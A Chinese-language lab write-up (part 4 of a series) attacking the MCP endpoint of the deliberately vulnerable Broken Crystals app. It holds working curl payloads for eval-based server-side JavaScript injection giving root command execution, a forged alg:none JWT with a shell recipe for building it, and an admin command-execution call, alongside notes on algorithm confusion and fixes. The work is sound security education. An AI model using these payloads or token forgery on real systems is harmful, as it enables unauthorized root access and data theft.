> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Broken Crystals 實戰筆記 4：MCP 攻擊實戰——從未認證訪客到 admin 提權 RCE 的完整 kill chain
- URL: https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-4-mcp-gong-ji-shi-zhan-cong-wei-ren-zheng-fang-ke-dao-admin-ti-quan-rce-de-wan-zheng-kill-chain/
- Published: 2026-07-03T06:37:09.000Z
- Updated: 2026-07-15T02:50:32.000Z
- Author: Kevin Chen
- Tags: machine, broken crystals, #mcp, AI

📚 系列文章 · Broken Crystals 實戰筆記

1. [Part 1：資訊洩漏 → 任意檔案讀取 LFI](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-1-cong-zi-xun-xie-lou-yi-lu-chuan-dao-ren-yi-dang-an-du-qu/)
2. [Part 2：query 參數 → root reverse shell](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-2-cong-yi-ge-query-can-shu-da-dao-root-reverse-shell/)
3. [Part 3：eval SSJI 拿 RCE、XXE](https://taiwanding.com/broken-crystals-shi-zhan-bi-ji-3-eval-ssji-na-rce-yu-du-de-dao-dang-que-da-bu-dong-ssrfde-xxe/)
4. ▸ Part 4：MCP 攻擊 → admin RCE kill chain （本篇）

> 前幾篇打的是傳統 web 洞（LFI、命令注入、SSJI、XXE），這篇轉向一個相對前沿、實戰資料還很少的攻擊面：**MCP（Model Context Protocol），**我會從「MCP 是什麼」講起，接著拆解這個 app 的 MCP 攻擊面，最後把兩個核心 finding 串成一條完整的攻擊鏈——一個未認證訪客，如何一路提權成 admin 並取得 root RCE，全程以白箱源碼（透過先前的 LFI 取得）佐證。

## 一、先搞懂：MCP 是什麼

**MCP（Model Context Protocol，模型上下文協定）** 是 2024 年底由 Anthropic 提出的開放標準，它要解決的問題是：**LLM 本身只會生成文字，不能真的「做事」**——讀檔案、查資料庫、呼叫 API，MCP 就是一套標準化介面，讓 LLM 能呼叫外部的「工具（tools）」與「資源（resources）」。

用一個比喻：LLM 是一個聰明但被關在房間裡、只能講話的大腦；MCP 則是牆上一排按鈕（tools）和抽屜（resources），LLM 想做事時，就透過 MCP 這套協定去按按鈕、開抽屜。

**為什麼 MCP 是肥美的攻擊面？** 因為它把「危險能力」標準化地暴露出來，MCP server 常常：假設「只有可信的 AI 會來呼叫」而把認證/授權做得很鬆；把 shell、DB、檔案系統的能力直接開成 tool；tool 參數直接進危險 sink，因此 MCP 的攻擊面 = **傳統 API 的所有洞 + AI 特有的信任假設問題**。

**Broken Crystals 內建了一個相當完整的 MCP 實作，這正是本篇的主角。**

## 二、MCP 攻擊面偵查（白箱）

透過先前的 LFI，直接讀 MCP 相關源碼。關鍵結構如下。

### 端點與協定

- 端點：`POST /api/mcp`，走 **JSON-RPC 2.0**
- 流程：先 `initialize` 建立 session（回應 `Mcp-Session-Id` header）→ 後續請求帶此 header → `tools/call`、`resources/read`
- 協定版本：`2025-11-25`

### 建立 session：先看清楚自己是誰

未帶任何 token 送 `initialize`：

```bash
curl -s -i -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0}'

```

回應揭曉初始身份：

```json
"session": { "authenticated": false, "role": "guest", "ttlMs": 1800000 }

```

未認證訪客身份 = `guest`，session 存活 30 分鐘。

### 列出 tools：access level 一覽

帶著 session id 送 `tools/list`，這個 app 很大方地把每個 tool 的 `accessLevel` 都列出來：

| Tool              | accessLevel | 底層 sink / 對應洞                               |
| ----------------- | ----------- | ------------------------------------------- |
| spawn\_process    | **admin**   | child\_process.spawn → 命令注入                 |
| get\_config       | **admin**   | 敏感設定洩漏                                      |
| process\_numbers  | **public**  | proxy /api/process\_numbers → **eval SSJI** |
| render            | **public**  | doT 模板 → SSTI                               |
| get\_metadata     | **public**  | proxy /api/metadata → XXE                   |
| get\_count        | **public**  | 「Accepts a SQL query」→ 疑似 SQLi              |
| search\_users     | **public**  | 使用者搜尋                                       |
| update\_user      | **public**  | prototype pollution                         |
| get\_testimonials | **public**  | 資料列表                                        |
| excerpt\_text     | **public**  | 文字截斷                                        |

看出矛盾了嗎——後面會展開。

## 三、Finding 1：授權分級不一致 → 未認證 RCE

### 觀察

防禦者把 `spawn_process`（明顯的命令注入 RCE）保護成 **admin**，卻把 `process_numbers` 留成 **public，**但 `process_numbers` 底層是 `eval()` 的 SSJI，**一樣是 RCE，**這是授權邏輯漏洞的經典型態：**防禦者只保護了「看起來危險」的端點，卻漏掉了「同樣能 RCE 但長得像功能」的端點。**

### 利用

用未認證的 guest session，直接呼叫 public 的 `process_numbers`，塞入 SSJI payload：

```bash
curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <guest-session-id>" \
  -d '{
    "jsonrpc":"2.0","method":"tools/call","id":2,
    "params":{
      "name":"process_numbers",
      "arguments":{
        "numbers":[1],
        "processing_expression":"require(\"child_process\").execSync(\"id\").toString()"
      }
    }
  }'

```

回應：

```json
"text": "SSJI result: uid=0(root) gid=0(root) ..."

```

**未認證 root RCE 成立，** 一個 guest，透過被錯標為 public 的 `process_numbers`，繞過了防禦者對 `spawn_process` 的 admin 保護。

### 對照：admin 保護本身是有效的

值得強調——這不是「保護完全失效」，而是「分類錯誤」，用同一個 guest session 呼叫 admin 的 `spawn_process`：

```json
{"error":{"code":-32001,"message":"Unauthorized: tool \"spawn_process\" requires authentication"}}

```

**admin 保護確實擋住了 guest，**機制是 work 的，問題出在某個等價危險的能力被錯放到 public，這比「完全沒防護」更真實，也更接近現實世界的漏洞型態——機制對，但某個東西分錯類。

## 四、Finding 2：JWT `alg:none` → admin 提權

既然 `spawn_process` 被 admin 保護擋住，下一個目標是把 guest session 升成 admin。

### 認證邏輯（白箱）

讀 `mcp.auth.service.js` 的 `resolveAuthContext`：

```js
const token = this.extractBearerToken(req);          // 從 Authorization header / cookie 取 token
if (!token) return { authenticated:false, role:'guest' };
const payload = await this.validateJwt(token);       // 用 RSA processor 驗 JWT
const user = this.extractUserId(payload);            // 取 sub / email / username / user
const role = await this.resolveRole(user);           // findByEmail(user) → isAdmin ? 'admin' : 'user'

```

所以 role 是「驗證 JWT → 取出身份 → 查 DB 看該 user 是否 `isAdmin`」，要變 admin，需要一個「能通過驗證、且身份對應到某個 admin 使用者」的 JWT。

### 致命缺陷：RSA processor 的驗證實作

MCP 認證用的是 `JwtProcessorType.RSA`。讀該 processor 的 `validateToken`：

```js
async validateToken(token) {
    const [header, payload] = this.parse(token);
    if (header.alg === 'none') {          // 缺陷 1：alg:none 直接放行
        return payload;
    }
    return decode(token, this.publicKey, false, header.alg);   // 缺陷 2：演算法由 token 自己決定
}

```

兩個獨立的致命缺陷：

- **缺陷 1（alg:none）**：token 若宣告 `alg: none`，**連驗都不驗，直接回傳 payload，**這是最經典的 JWT 漏洞——不需要任何簽名。
- **缺陷 2（algorithm confusion）**：`decode(token, publicKey, false, header.alg)` 的第四個參數是 `header.alg`——**token 宣告什麼演算法就用什麼驗**，沒有鎖死 RS256，這開啟了 RS256→HS256 混淆攻擊：把 alg 改成 HS256，伺服器會拿它手上的 RSA **公鑰**當 HMAC secret 來驗，而公鑰是公開的（LFI 讀得到），HMAC 簽驗同一把，於是可用公鑰偽造。

兩條都通，`alg:none` 更直白，選它。

> **補充：RS256→HS256 algorithm confusion 的原理，**RS256 是非對稱（私鑰簽、公鑰驗），你偽造不了因為沒私鑰，但若驗證函式不鎖演算法，攻擊者把 header 改成 HS256（對稱，簽驗同一把），伺服器便拿「本來要做 RSA 驗證的公鑰」當 HMAC secret，由於公鑰是公開的、且 HMAC 對稱，攻擊者用同一把公鑰簽名即可通過驗證——把「大家都有的公鑰」武器化成「偽造 token 的鑰匙」。

### 找出 admin 身份

`resolveRole` 是拿 token 身份去 `findByEmail` 查 DB，所以偽造的 payload 必須對應一個真實 admin，用 public 的 `search_users` tool（未認證即可呼叫）撈：

```bash
curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <guest-session-id>" \
  -d '{"jsonrpc":"2.0","method":"tools/call","id":5,"params":{"name":"search_users","arguments":{"name":"a"}}}'

```

結果（**這個 tool 本身也是 finding——未認證洩漏含信用卡號的 PII**）：

```json
{ "email": "admin", "firstName": "admin", "cardNumber": "1234 5678 9012 3456", "id": 1 }

```

admin 使用者的識別身份就是字串 `"admin"`。

### 偽造 alg:none token（零簽名）

JWT 結構為 `base64url(header).base64url(payload).簽名`，`alg:none` 不需簽名段：

```bash
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","user":"admin","email":"admin"}' | base64 | tr '+/' '-_' | tr -d '=')
TOKEN="${HEADER}.${PAYLOAD}."     # 第三段（簽名）留空，但保留結尾的點

```

`tr '+/' '-_' | tr -d '='` 是把標準 base64 轉為 JWT 用的 base64url。最終 token：

```
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ.

```

### 帶偽造 token 建立 admin session

```bash
curl -s -i -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInVzZXIiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW4ifQ." \
  -d '{"jsonrpc":"2.0","method":"initialize","id":0}'

```

回應：

```json
"session": { "authenticated": true, "role": "admin", "user": "admin" }

```

**role 從 guest 升為 admin，**一個完全沒有簽名的偽造 token，換到了 admin session。

## 五、閉環：admin session 呼叫 spawn\_process

用新的 admin session id 呼叫先前擋住我們的 `spawn_process`：

```bash
curl -s -X POST http://localhost:3000/api/mcp \
  -H "Content-Type: application/json" \
  -H "Mcp-Session-Id: <admin-session-id>" \
  -d '{"jsonrpc":"2.0","method":"tools/call","id":6,"params":{"name":"spawn_process","arguments":{"command":"id"}}}'

```

回應是 SSE 串流（`spawn_process` 為 streaming tool，依序送 progress → partial\_output → message）：

```
event: message
data: {"jsonrpc":"2.0","result":{"content":[{"type":"text","text":"OS command result: uid=0(root) gid=0(root) ..."}]},"id":6}

```

剛剛還回 `Unauthorized`，現在回 **root**。

## 完整 Kill Chain

```
① 未認證 guest（MCP initialize 無 token，role=guest）
② LFI (/api/file) 讀後端源碼
      → 發現 RSA processor 的 alg:none 缺陷（與 decode 不鎖演算法）
③ search_users（public tool，順帶洩漏含信用卡號的 PII）→ 取得 admin 身份 = "admin"
④ 手工偽造 alg:none JWT（header.payload. ，零簽名）
⑤ MCP initialize 帶偽造 token → role 由 guest 升為 admin
⑥ admin session 呼叫 admin-only 的 spawn_process → 未授權提權 RCE (root)

```

單一條鏈串接了 **五種漏洞**：LFI、敏感資料洩漏、JWT alg:none、MCP 授權繞過、命令注入，這在真實世界是 critical 級的完整 kill chain，且它模擬的正是 MCP server 現實中最可能出現的兩類問題——**認證分級不一致** 與 **JWT 驗證缺陷**。

值得注意的是，這條鏈其實有兩個獨立的未授權 RCE 入口：Finding 1（public 的 `process_numbers`）不需要任何提權就能 RCE；Finding 2 則展示了即使某能力被正確保護成 admin，只要認證層有缺陷，仍可提權後取得，防禦上這也對應兩個獨立的修補點：能力分級要一致，且 JWT 驗證必須鎖死演算法、拒絕 `alg:none`。

## 結語

MCP 作為讓 AI 擁有「手腳」的協定，其安全問題正是當前最前沿的研究領域之一，本篇示範的兩個核心缺陷——授權分級不一致、JWT 驗證放行 alg:none——都不是 MCP 獨有的新型漏洞，而是「傳統 web 安全問題，被搬進 MCP 這個新語境」，這也是 MCP 攻擊的本質：舊洞、新面。理解這點，任何做過傳統 web 滲透的人，都能快速切入 MCP 攻擊面。

*本文為授權範圍內的本機自建靶場測試紀錄，僅供防禦研究與教育用途。文中所有憑證、PII 均為靶場預設假資料。請勿將任何技術用於未授權目標。*